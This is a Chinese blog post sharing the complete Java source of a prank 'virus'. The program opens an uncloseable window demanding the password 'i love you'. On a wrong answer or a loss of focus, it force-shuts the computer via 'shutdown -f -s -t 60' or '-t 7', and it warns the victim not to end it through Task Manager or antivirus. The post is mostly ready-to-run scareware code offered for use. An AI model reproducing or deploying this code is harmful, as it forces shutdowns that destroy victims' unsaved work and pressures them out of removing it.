本程序用到了Java的图形化界面,运行后弹出一个方框窗口,文本框下方是提示,看清提示后可以输入英文大/小写答案,若输入出错,则在60秒后关机,若在此期间,改窗口丢失焦点,则弹出提示框,并在15秒后关机。由于这是本人早期学习Java时编写的程序,所以Bug较多,敬请谅解!
以下是源代码

package test;
import java.io.*;
import javax.swing.*;
import java.awt.*;
import java.awt.event.*;
import java.util.Timer;
public class Virus {
	public static void main(String[] args) {
		new Win();
		}
}

class Win extends JFrame implements ActionListener,FocusListener{
	Timer timer=new Timer();
	JTextField text;
	JLabel label,message,end;
	Box boxV,boxH;
	int flag=0;
	int time=60;
	String s; 
	Win() {
		init();
		setTitle("BE-1 virus");
		setSize(500,200);
		setLayout(new FlowLayout());
		setLocationRelativeTo(null);
		setVisible(true);
		setDefaultCloseOperation(DO_NOTHING_ON_CLOSE);
		validate();
	}
	private void init() {
		boxV=Box.createVerticalBox();
		boxH=Box.createHorizontalBox();
		text=new JTextField(10);
		label=new JLabel("Please input password!");
		message=new JLabel("<html><body>TIPS:If the God gives me a second chance ,<p> I will just say three words to that girl:<body><html>");
		label.setFont(new Font("宋体",Font.BOLD,20));
		end=new JLabel("time");
		boxV.add(label);
		boxV.add(text);
		boxV.add(message);
		add(boxV);
		add(end);
		text.addActionListener(this);
		text.addFocusListener(this);
	}
	public void focusGained(FocusEvent e) {}
	public void focusLost(FocusEvent e) {
		JOptionPane.showMessageDialog(this,"不要妄图使用任务管理器结束进程,或用杀毒软件查杀!","严重警告!",JOptionPane.WARNING_MESSAGE);
		time=15;
		passwordError("shutdown -f -s -t 7");
	}
	public void actionPerformed(ActionEvent e) {
		String s=e.getActionCommand();
		if(s.equals("i love you")||s.equals("I Love You")||s.equals("I LOVE YOU")||s.equals("我爱你")) {
			message.setFont(new Font("楷体",Font.BOLD,15));
			message.setText("Password correct!");
			if(flag==1)
				passwordCorrect("shutdown -a",1);
			System.exit(0);
		}
		else {
			message.setText("Password error!");
			passwordError("shutdown -f -s -t 60");
			flag=1;
		}
	}
	void passwordError(String s) {
		try {
			Runtime.getRuntime().exec(s);
		}
		catch(IOException e) {
			System.out.println(e.toString());
		}
		if(time>0)
		timer.schedule(new TimerTask(),1000,1000);
			
	}
	public class TimerTask extends java.util.TimerTask{   
		public void run() { 
			end.setText(""+time);
			System.out.println(time);
			time--;
		    } 
		}
	void passwordCorrect(String s,int i) {
		try {
			Runtime.getRuntime().exec(s);
		}
		catch(IOException e) {
			System.out.println(e.toString());
		}
		timer.cancel();
		end.setText("Lucky");
		System.exit(0);
	}
}

运行界面:
在这里插入图片描述

Logo

开放原子开发者工作坊旨在鼓励更多人参与开源活动,与志同道合的开发者们相互交流开发经验、分享开发心得、获取前沿技术趋势。工作坊有多种形式的开发者活动,如meetup、训练营等,主打技术交流,干货满满,真诚地邀请各位开发者共同参与!

更多推荐